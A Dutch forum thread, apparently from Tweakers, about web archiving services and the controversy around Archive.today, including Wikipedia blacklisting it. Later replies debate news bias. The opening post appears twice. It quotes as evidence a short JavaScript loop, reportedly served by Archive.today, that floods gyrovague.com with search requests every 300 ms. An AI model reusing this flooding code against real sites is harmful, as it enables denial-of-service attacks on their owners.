Laten we eerst even teruggaan in de tijd. Van alle archiving websites is Internet Archive (archive.org) de braafste. Ze zijn ook de oudste (sinds 1996 actief). Ja, ze hebben soms auteursrechtenclaims aan de broek hangen, maar het is geen pirate paradise (al zochten ze tijdens de covid crisis wel de grens behoorlijk op). Ze houden zich bijvoorbeeld aan de DMCA Wikipedia: Internet Archive ze worden soms geblokkeerd (bijvoorbeeld in 2026 door de New York Times en The Guardian), en dat accepteren ze dan. Maar de Wayback Machine heeft ook nadelen. Zo is ze nogal traag. In 2016 kwam Donald Trump voor het eerst aan de macht in de VS. Om je terug te werpen in die tijd: destijds zat Assange nog in een ambassade in Ecuador. Het Internet Archive team zat nog in VS (ze zijn in 2016 naar Canada verhuisd Wikipedia: Internet Archive ). Ook is het project meer dan de Wayback Machine: zo is er ook het Wikipedia: Archive Team, wat voort komt uit Aaron Swartz JSTOR leaks.
Vervolgens kreeg je Sci-Hub van de Kazach Alexandra Elbakyan. Deze is begonnen om voor studenten open access te verzorgen zodat zij in wetenschappelijke documenten kunnen kijken zonder te betalen (doorgaans kost dat veel geld, wat voor een unequal playing field zorgt tussen rijke en arme studenten/universiteiten). Dit riekt al meer richting regelrechte piraterij. Sci-Hub wordt steeds geblokkeerd, inclusief allerlei domeinnamen. Daardoor wijken ze uit naar allerlei methodes, zoals zelfs DNS over Wikipedia.
Anna's Archive is dan weer een nieuwere, omvangrijkere iteratie van Sci-Hub.
Qua Sci-Hub en Anna's Archive weet ik niet zoveel over de materie. Ik weet dat ze prima te bereiken zijn via Tor, en dat ze steeds met hun TLDs in de clinch liggen. Deze post heeft een focus op Archive.today, maar de grotere broer Archive.org wilde ik ook graag belichten. Alle datasets omvatten meerdere petabytes aan data, en dat maakt redundantie duur en gevoelig.
Ook Tweakers schreef over Archive.today recent op 7 november 2025: nieuws: FBI eist dat Archive.today-registrar gegevens van site-eigenaar overhandigt
Wat is er gaande? De FBI is op zoek naar ene Denis Petrov in New York, die de eigenaar zou zijn van Archive.today. In een normale wereld is het 'FBI goed' maar in geval van Trump kun je dat niet meer zo stellen. Er zijn immers twee identiteiten die achter Archive.today lijken te zitten: Denis Petrov (een zeer algemene naam), en Masha Rabinovich (Masha is een Russische variant op Maria, en een Jiddische variant op Mozes, dat ook overeen komt met de naam de Joodse achtergrond van de naam Rabinovich). Het onderzoek naar deze twee identiteiten staat op deze Finse website waar het bovenstaande Tweakers.net artikel ook naar linkt: Gyrovague.com, 5 augustus 2023: archive.today: On the trail of the mysterious guerrilla archivist of the Internet. In de comments staat dat btdig.com van dezelfde eigenaar is. Dit is een van de vele DHT search engines (dat ga ik niet uitleggen of naar linken, nog wel van belang dat btdig.com een fork lijkt te zijn van de originele btdigg.com die plat ligt). Maar er staan meer saillante details in dat onderzoek. Namelijk dat de programmeur die erachter zit vanaf het begin af aan bij NixOS betrokken was. De datum die genoemd wordt is 2004. Dat kan niet, NixOS is van 2006, maar de Nix package manager is van 2003: Wikipedia: NixOS en de repo van github.com/btdig linkt naar forks van de repos Mirai, Loki, en andere blackhat utilities.
Het wordt nog gekker: Archive.today is directing a DDoS attack against my blog, van 18 dagen geleden. Die blog is dus gyrovague. In de links staat een tumblr.com post waarbij de persoon achter gyrovague.com wordt gedoxt. Die ga ik niet direct linken, omdat gyrovague.com nagenoeg geen publiek figuur is, en Archive.today is dat gezien hun omvang wel. Nog van belang: ene 'rabinovich' linkte op HN het volgende: Ask HN: Weird archive.today behavior?. Dat artikel is van half januari 2026, en de hostile JS code wordt ook gelinkt:
Wat ook raar is, is dat AdGuard onder druk is gezet door een ogenschijnlijk nep anti-CSAM organisatie om Archive.today in een blocklist te zetten, terwijl Archive.today wel lijkt te reageren op takedown verzoeken van CSAM: adguard-dns.io, 13 nov 2025: Behind the complaints: Our investigation into the suspicious pressure on Archive.today zie ook hier weer de Russische link: Adguard zit in Cyprus, het zijn Russen die erachter zitten.
Gisteren, n.a.v. de DDoS aanval van Archive.today op gyrovague.com (Wordpress blog bij Automattic), is Wikipedia begonnen met het verwijderen van referenties naar Archive.today. Ars, 20 feb 2026: Wikipedia blacklists Archive.today, starts removing 695,000 archive links
En dat is dan het einde van deze post. Behalve dus dat Trump Freedom.gov aan heeft gekondigd: Reuters, 18 feb 2026: Exclusive: US plans online portal to bypass content bans in Europe and elsewhere
Uit de summary:
Aan de andere kant is Rusland ook begonnen om sommige 'ties' met het Westen nog sterker te verbreken. Telegram en WhatsApp worden inmiddels geblokkeerd: CNN van 10 feb 2026: Russia is restricting access to Telegram, one of its most popular social media apps. Here’s what we know
Of die laatste twee wapenfeiten gerelateerd zijn, kunnen we momenteel enkel nog over speculeren.
Het is ook een tool die gebruikt wordt om geoblocks te omzeilen. Dus bijvoorbeeld in Europa kun je er rt.com mee bekijken (waarom zou je
). Ook blokkeert Duitsland aardig wat domeinen inmiddels. Voor een lijst, zie: https://cuiiliste.de/domains en VK is ook flink bezig met blokkeren.Soms is het ook nuttig om te gebruiken om een pagina te cachen, zodat je achteraf veranderingen kunt vergelijken. Daar doen nieuwssites nog wel eens aan: ondoorzichtige updates in artikelen die je vervolgens niet kunt diff'en.
Natuurlijk zijn er ook zat tegenargumenten te verzinnen, zoals dat het ingaat tegen het recht om vergeten te worden, of omdat men inkomsten mis zou lopen door piraterij.
Voor al deze argumenten valt wat te zeggen. Hoe je er ook in staat: er is een en ander gaande in Archief-land.
Laten we eerst even teruggaan in de tijd. Van alle archiving websites is Internet Archive (archive.org) de braafste. Ze zijn ook de oudste (sinds 1996 actief). Ja, ze hebben soms auteursrechtenclaims aan de broek hangen, maar het is geen pirate paradise (al zochten ze tijdens de covid crisis wel de grens behoorlijk op). Ze houden zich bijvoorbeeld aan de DMCA Wikipedia: Internet Archive ze worden soms geblokkeerd (bijvoorbeeld in 2026 door de New York Times en The Guardian), en dat accepteren ze dan. Maar de Wayback Machine heeft ook nadelen. Zo is ze nogal traag. In 2016 kwam Donald Trump voor het eerst aan de macht in de VS. Om je terug te werpen in die tijd: destijds zat Assange nog in een ambassade in Ecuador. Het Internet Archive team zat nog in VS (ze zijn in 2016 naar Canada verhuisd Wikipedia: Internet Archive ). Ook is het project meer dan de Wayback Machine: zo is er ook het Wikipedia: Archive Team, wat voort komt uit Aaron Swartz JSTOR leaks.
Vervolgens kreeg je Sci-Hub van de Kazach Alexandra Elbakyan. Deze is begonnen om voor studenten open access te verzorgen zodat zij in wetenschappelijke documenten kunnen kijken zonder te betalen (doorgaans kost dat veel geld, wat voor een unequal playing field zorgt tussen rijke en arme studenten/universiteiten). Dit riekt al meer richting regelrechte piraterij. Sci-Hub wordt steeds geblokkeerd, inclusief allerlei domeinnamen. Daardoor wijken ze uit naar allerlei methodes, zoals zelfs DNS over Wikipedia.
Anna's Archive is dan weer een nieuwere, omvangrijkere iteratie van Sci-Hub.
Qua Sci-Hub en Anna's Archive weet ik niet zoveel over de materie. Ik weet dat ze prima te bereiken zijn via Tor, en dat ze steeds met hun TLDs in de clinch liggen. Deze post heeft een focus op Archive.today, maar de grotere broer Archive.org wilde ik ook graag belichten. Alle datasets omvatten meerdere petabytes aan data, en dat maakt redundantie duur en gevoelig.
Ook Tweakers schreef over Archive.today recent op 7 november 2025: nieuws: FBI eist dat Archive.today-registrar gegevens van site-eigenaar overhandigt
Wat is er gaande? De FBI is op zoek naar ene Denis Petrov in New York, die de eigenaar zou zijn van Archive.today. In een normale wereld is het 'FBI goed' maar in geval van Trump kun je dat niet meer zo stellen. Er zijn immers twee identiteiten die achter Archive.today lijken te zitten: Denis Petrov (een zeer algemene naam), en Masha Rabinovich (Masha is een Russische variant op Maria, en een Jiddische variant op Mozes, dat ook overeen komt met de naam de Joodse achtergrond van de naam Rabinovich). Het onderzoek naar deze twee identiteiten staat op deze Finse website waar het bovenstaande Tweakers.net artikel ook naar linkt: Gyrovague.com, 5 augustus 2023: archive.today: On the trail of the mysterious guerrilla archivist of the Internet. In de comments staat dat btdig.com van dezelfde eigenaar is. Dit is een van de vele DHT search engines (dat ga ik niet uitleggen of naar linken, nog wel van belang dat btdig.com een fork lijkt te zijn van de originele btdigg.com die plat ligt). Maar er staan meer saillante details in dat onderzoek. Namelijk dat de programmeur die erachter zit vanaf het begin af aan bij NixOS betrokken was. De datum die genoemd wordt is 2004. Dat kan niet, NixOS is van 2006, maar de Nix package manager is van 2003: Wikipedia: NixOS en de repo van github.com/btdig linkt naar forks van de repos Mirai, Loki, en andere blackhat utilities.
Het wordt nog gekker: Archive.today is directing a DDoS attack against my blog, van 18 dagen geleden. Die blog is dus gyrovague. In de links staat een tumblr.com post waarbij de persoon achter gyrovague.com wordt gedoxt. Die ga ik niet direct linken, omdat gyrovague.com nagenoeg geen publiek figuur is, en Archive.today is dat gezien hun omvang wel. Nog van belang: ene 'rabinovich' linkte op HN het volgende: Ask HN: Weird archive.today behavior?. Dat artikel is van half januari 2026, en de hostile JS code wordt ook gelinkt:
code:
Deze 'rabinovich' is qua naam eerder voorgekomen in de gyrovague.com blog post, maar opmerkelijker is dat het een nieuw account betreft (van zo'n 60 dagen oud, dus ergens midden december 2025), en dat die persoon ghostarchive.org als submissie linkt https://news.ycombinator.com/submitted?id=rabinovich1
2
3
4
5
6
| setInterval(function() {
fetch("https://gyrovague.com/?s=" + Math.round(new Date().getTime() % 10000000), {
referrerPolicy: "no-referrer",
mode: "no-cors"
});
}, 300); |
Wat ook raar is, is dat AdGuard onder druk is gezet door een ogenschijnlijk nep anti-CSAM organisatie om Archive.today in een blocklist te zetten, terwijl Archive.today wel lijkt te reageren op takedown verzoeken van CSAM: adguard-dns.io, 13 nov 2025: Behind the complaints: Our investigation into the suspicious pressure on Archive.today zie ook hier weer de Russische link: Adguard zit in Cyprus, het zijn Russen die erachter zitten.
Gisteren, n.a.v. de DDoS aanval van Archive.today op gyrovague.com (Wordpress blog bij Automattic), is Wikipedia begonnen met het verwijderen van referenties naar Archive.today. Ars, 20 feb 2026: Wikipedia blacklists Archive.today, starts removing 695,000 archive links
Het net lijkt zich rond Archive.today te sluiten, en daarbij lijkt de dienst te verdwijnen. Er is ook goed nieuws:
Het lijkt er dus op dat Wikipedia aan een alternatief gaat werken / werkt.
En dat is dan het einde van deze post. Behalve dus dat Trump Freedom.gov aan heeft gekondigd: Reuters, 18 feb 2026: Exclusive: US plans online portal to bypass content bans in Europe and elsewhere
Uit de summary:
Het probleem met .gov is natuurlijk dat het sinds Trump niet meer objectief is. Zoals Trump bepaalt wat er van het Epstein dossier naar buiten komt, bepaalt Trump ook wat er wel of niet via Freedom.gov te zien is. En dan wil je de competitie wel uitschakelen.
Aan de andere kant is Rusland ook begonnen om sommige 'ties' met het Westen nog sterker te verbreken. Telegram en WhatsApp worden inmiddels geblokkeerd: CNN van 10 feb 2026: Russia is restricting access to Telegram, one of its most popular social media apps. Here’s what we know
Of die laatste twee wapenfeiten gerelateerd zijn, kunnen we momenteel enkel nog over speculeren.
"Nobody is very good at self-reflection, I'm afraid." -- Linus Torvalds. Kindprofielen zijn binnenkort weer beschikbaar.
Er zijn extremen, maar volgens mij noemde ik in mijn vorige reactie niet dat ik daar naar op zoek ben.
Het gaat hier niet om gevaarlijke gematigdheid. Ze geven een beeld over zaken die in de wereld om ons heen gaande zijn. Lees de quote uit mijn vorige reactie maar eens. Zonder de context zou je kunnen denken dat het wel meevalt: "Colbert op zijn beurt lag eerder al overhoop met CBS".
De gemiddelde lezer zou zonder kennis van wat er gaande is denken dat het probleem bij Colbert ligt. Dat soort dingen struikel ik over en niet dat er geen schreeuwtitels in staan.
En de NOS doet het wel vaker verkeerd: vandaag ook weer. Toen ik er in het verleden eens over begon op ditzelfde forum geloofden mensen het ook niet helemaal, maar het is toch echt zo.
Nee, hiermee zeg ik ook niet dat de NOS een scheve organisatie is die met kwaad in de zin dingen aan het doen is. Wat ik zeg is dat het resultaat niet klopt en lezers niet goed informeert. Ook dat is iets anders dan wat de gemiddelde wapperaar zou zeggen over dat ze 's nachts in de kelder de stoffelijke overschotten naar boven halen en daar het bloed uit pompen om er jonger uit te gaan zien
Overigens is dat ook waarom ik het "mis- of zelfs desinformatie" noemde. Dus met dat "mis" voorop. Ik kan niet weten wat het echt is omdat ik er niet op de redactie zit. Ik neem aan dat er goede bedoelingen zijn, maar dat neemt niet weg dat de uitvoer best vaak belabberd te noemen is.
Dat zit wel Schnorr.
Zelfs in een perfecte wereld (die we niet hebben, en ook niet zullen krijgen), en al zou de NOS gigantische funding hebben, een uitstekend proces hebben, en hoge kwaliteit leveren, dan nog maakt men wel eens fouten. Inclusief dat men een fout foutief zou vergeten te melden. En dat is dan een non-hostile actor, in een (ogenschijnlijk) perfecte wereld.
Zelfs voor een verknocht telegraaf.nl lezer die alles aldaar voor waar aanneemt is archiving tooling nog handig. Waarom? Nou, ook die perfecte telegraaf.nl (
) linkt nog wel eens naar imperfecte bronnen waar third parties de dienst uitmaken. Het punt is: je gaat vroeg of laat hiermee te maken krijgen, en als je dan bent voorbereid, dan kun je snel anticiperen. Een screenshot maken is dan een minimum, maar een third party tool die publiek archiveert is misschien nog wel krachtiger. Het tegenargument 'fake news' is dan namelijk minder sterk. Een nadeel van publieke archiving tooling is dat een tegenpartij het gebruik ook kan zien (want publiek); dit geeft zo'n dienst echter ook krediet. Bij een overheidsorgaan zoals een politiële dienst heb je ambtseed als backstop, dat is juridisch voldoende.In algemene zin moeten we ons er tegen wapenen, al vele jaren. Als je die tooling beschikbaar voor gebruik hebt is dat mooi meegenomen op een moment dat je deze nodig denkt te hebben. Zie je ergens iets opmerkelijks: archiveer het dan. Doe die git clone (ik heb nog tarballs uit de tijd van Sourceforge liggen die DMCA'ed zijn). Maak dat screenshot. Gebruik een web archive. Dit was al zo in de 90's omdat content soms ineens van het internet verdween, zoals na de dotcom bubbel bijv. of omdat een hosting provider errmee stopte of werd gehackt. Je hebt immers data die verloren kan gaan. Je hebt al tientallen jaren clickbait, SEO, bait & switch, scams, en recenter criminaliteit zoals sextortion, opkomst van ML/AI. Zelfs al zou je vinden dat het internet in de 90's nog onschuldig was (en dat was niet het geval), dan is het nu vele malen meer hostile geworden.
Voorbeeld in de bovenstaande Archive.today casus https://megalodon.jp/2026...ps://archive.ph:443/LZymb en https://megalodon.jp/2026...search/?q=Jani+Patokallio
Hierbij is de archive tool (archive.today/.ph/.is) hostile gebleken en dat wordt geduid middels een andere archive tool (megalodon.jp; oudje voor specifiek Japanse markt). Daarmee heb je bewijslast voor manipulatie van de archieven, en dat is een reden (naast de DDoS) dat Wikipedia begonnen is te stoppen met linken naar archive.today. Gelukkig zijn er zat alternatieven, zowel specifieke scope als general: Wikipedia: List of web archiving initiatives let hierbij ook op de gebruikte tooling under the hood.
Op dit forum postte iemand (@nst6ldr) nog wel eens screenshots van e.e.a. gerelateerd aan het conflict met Rusland, en die bewijzen kan men gebruiken voor duiding. Daarbij kun je zelfs denken aan bewijs van strafbare feiten, OSINT onderzoek, enz. Praktijkvoorbeelden: afgezien van Bellingcat zie bijvoorbeeld Vatniksoup meest recente voorbeeld: https://vatniksoup.com/en/soups/384/ of antifacistisch onderzoekscollectief Kafka meest recente voorbeeld: https://kafka.nl/nnb-_-nazis-terug-van-weg-geweest/ een ander recent voorbeeld is archivering van *.gov content n.a.v. inauguratie Trump + aankondiging DOGE.
Als ouder van een dochter (nog in onderbouw basisschool) denk ik wel eens aan hoe de pubertijd gaat zijn, en het digitale tijdperk kent veel voor- en nadelen. Wat zou het eerste zijn, na het verhaal aanhoren over bijvoorbeeld sextortion of een ander zedendelict? Bewijsmateriaal verzamelen om de claim proberen te verifiëren. Pas daarna kun je denken aan naar de politie stappen (vervolgingtraject schijnt emotioneel een zwaar proces te zijn voor slachtoffer maar in ieder geval kun je aangifte doen). Immers kan er e.e.a. spelen, en je wilt de claim(s) kunnen verifiëren en veilig stellen. Welnu, ook daar is dit soort tooling voor geschikt.
Mijn tip voor de volgende keer is dan ook: screenshot (of camera in de meatspace, dat recent handig is gebleken in geval Minneapolis) en archiving. Je hebt deze keer geluk gehad dat je het achteraf kon reconstrueren. Dat geluk ga je niet iedere keer hebben.
Specifiek voor Firefox Mobile gebruik ik https://github.com/dessant/web-archives volgens mij is dit zelfs een 'Mobile approved' extensie. Daarmee kun je verschillende archivers whitelisten in de dropdown, en die kun je met vier touches/clicks gebruiken. Overigens is deze extensie voor veel bekende browsers beschikbaar, ook desktop.
"Nobody is very good at self-reflection, I'm afraid." -- Linus Torvalds. Kindprofielen zijn binnenkort weer beschikbaar.
Mooi voorbeeld van subjectiviteit en hoe de een iets leest en hoe de ander iets leest.
Een quote van jou:
"De resterende tekst is ook zo neutraal. Hoeft geen probleem te zijn, maar het wordt gepresenteerd alsof dit alles normaal is. En dát is wat dit mis- of zelfs desinformatie maakt."
Ik lees dit alsof je hiermee bedoelt dat neutrale tekst normaliserend werkt en dus des- of misinformatie is.
Een quote van jou:
"De resterende tekst is ook zo neutraal. Hoeft geen probleem te zijn, maar het wordt gepresenteerd alsof dit alles normaal is. En dát is wat dit mis- of zelfs desinformatie maakt."
Ik lees dit alsof je hiermee bedoelt dat neutrale tekst normaliserend werkt en dus des- of misinformatie is.
"Atheism is an attitude, a frame of mind that looks at the world objectively, fearlessly, always trying to understand all things as a part of nature" - Carl Sagan
"Doubt—the concern that my views may not be entirely correct—is the true friend of wisdom and (along with empathy, to which it’s related) the greatest enemy of polarization." -- Václav Havel
Klopt, ik kende eens iemand die er trots op was dat er geld verdiend werd met het online zetten van pagina's die rel-waardig "nieuws" bevatten. Alles voor de (advertentie)clicks. Dat is inmiddels al meer dan 15 jaar geleden.
Probleem is nu vooral dat je er minder technische kennis voor nodig hebt om hetzelfde te doen.
Bothsideism inderdaad.
Maar liever niet op de manier waar het naartoe begint te gaan. De vorige keer heeft generaties met problemen nagelaten
Die vond ik inderdaad ook een beetje vreemd, dus ik heb wat verder gekeken: het blijkt geen overheidsorgaan te zijn, maar is opgestart door de reclamebranche.
Nooit geweten eigenlijk. Maakt gelijk duidelijk waarom het zo vaak over eigen verantwoordelijkheid gaat
Dat zit wel Schnorr.
Bothsideism is een wat actiever handeling in mijn ogen om beide strijdende partijen als moreel gelijk te maken wanneer ze juist ongelijk zijn.
Wat ik hier proef is eerder een apathische fatalisme waardoor men niet bereid is om karakter te tonen.
Elke generatie heeft zijn eigen uitdagingen, de truc is vooral om te zorgen dat het niet dusdanig groot wordt dat het alleen met geweld (lees: oorlog) opgelost kan worden.[...]
Maar liever niet op de manier waar het naartoe begint te gaan. De vorige keer heeft generaties met problemen nagelaten
Het is stichting (een goed doel) die commerciële middelen gebruikt om diens idealen te verspreiden. Mijn club drukt folders om mensen aan het sporten te krijgen.Die vond ik inderdaad ook een beetje vreemd, dus ik heb wat verder gekeken: het blijkt geen overheidsorgaan te zijn, maar is opgestart door de reclamebranche
[...]
Nooit geweten eigenlijk. Maakt gelijk duidelijk waarom het zo vaak over eigen verantwoordelijkheid gaat
"Doubt—the concern that my views may not be entirely correct—is the true friend of wisdom and (along with empathy, to which it’s related) the greatest enemy of polarization." -- Václav Havel
Maar heeft jouw club de prikkel om mensen bifi-worstjes te laten eten terwijl ze zich bezig zouden moeten houden met sport?
Dom voorbeeld, maar wat ik probeer te zeggen is dat ideologie en de wens om geld te verdienen de zaak complexer maakt dan de 1:1-relatie die je tussen de folders van de sportschool en de sportschool zelf hebt
Er zijn meer prikkels om foute dingen te doen. De Amerikaanse variant ontvangt niet voor niets kritiek:
Eigen keuze is belangrijk, maar hoe ver is iets een eigen keuze als 70 - 80% al voor je beslist wordt voordat je überhaupt een stap in de supermarkt hebt gezet...
Een beetje vergelijkbaar met desinformatie op zich. Die hefboom moet eigenlijk wat meer de andere kant op. Uitbannen is niet mogelijk en moet ook niet het doel zijn, tegengas geven wel.
Dom voorbeeld, maar wat ik probeer te zeggen is dat ideologie en de wens om geld te verdienen de zaak complexer maakt dan de 1:1-relatie die je tussen de folders van de sportschool en de sportschool zelf hebt
Er zijn meer prikkels om foute dingen te doen. De Amerikaanse variant ontvangt niet voor niets kritiek:
Op het eerste gezicht lijkt het een goed doel, maar met een scheve stelling ben je alleen maar mensen bewust aan het maken van falen waar moeilijk tegen op te treden is, zoals bijvoorbeeld bijvoorbeeld "je moet zelf afvallen" ipv "wij als industrie gaan je helpen om supermarkten te vullen met minder producten die een vroegtijdige dood veroorzaken".
Eigen keuze is belangrijk, maar hoe ver is iets een eigen keuze als 70 - 80% al voor je beslist wordt voordat je überhaupt een stap in de supermarkt hebt gezet...
Een beetje vergelijkbaar met desinformatie op zich. Die hefboom moet eigenlijk wat meer de andere kant op. Uitbannen is niet mogelijk en moet ook niet het doel zijn, tegengas geven wel.
Dat zit wel Schnorr.
Het is net of dat er een actieve stroming is die er bij gebaat is om systemische problemen te individualiseren zodat we falen zien als individuele tekortkomingen in plaats van structurele problemen die we collectief en via politiek moeten oplossen.:
Maar heeft jouw club de prikkel om mensen bifi-worstjes te laten eten terwijl ze zich bezig zouden moeten houden met sport?
Dom voorbeeld, maar wat ik probeer te zeggen is dat ideologie en de wens om geld te verdienen de zaak complexer maakt dan de 1:1-relatie die je tussen de folders van de sportschool en de sportschool zelf hebt
Er zijn meer prikkels om foute dingen te doen. De Amerikaanse variant ontvangt niet voor niets kritiek:
[...]
Op het eerste gezicht lijkt het een goed doel, maar met een scheve stelling ben je alleen maar mensen bewust aan het maken van falen waar moeilijk tegen op te treden is, zoals bijvoorbeeld bijvoorbeeld "je moet zelf afvallen" ipv "wij als industrie gaan je helpen om supermarkten te vullen met minder producten die een vroegtijdige dood veroorzaken".
Eigen keuze is belangrijk, maar hoe ver is iets een eigen keuze als 70 - 80% al voor je beslist wordt voordat je überhaupt een stap in de supermarkt hebt gezet...
Een beetje vergelijkbaar met desinformatie op zich. Die hefboom moet eigenlijk wat meer de andere kant op. Uitbannen is niet mogelijk en moet ook niet het doel zijn, tegengas geven wel.
Less alienation, more cooperation.
Ik wilde het eens niet direct benoemen
Maar het effect is duidelijk te zien in nog verdere normalisering. Ook hier gaat de NOS er kritiekloos in mee dat een zaak tegen FvD komt te vervallen:
Maar het effect is duidelijk te zien in nog verdere normalisering. Ook hier gaat de NOS er kritiekloos in mee dat een zaak tegen FvD komt te vervallen:
De zaak is daarentegen niet per se belangrijk omdat het een "zogenoemde discriminatoire belediging van het slachtoffer" is, maar omdat hier vanuit een politieke partij mensen worden neergesabeld op basis van zaken waar de partij niets in zou moeten kunnen afdwingen binnen een democratie met vrijheid qua persoonlijke uitingen voor iedereen...
Dat zit wel Schnorr.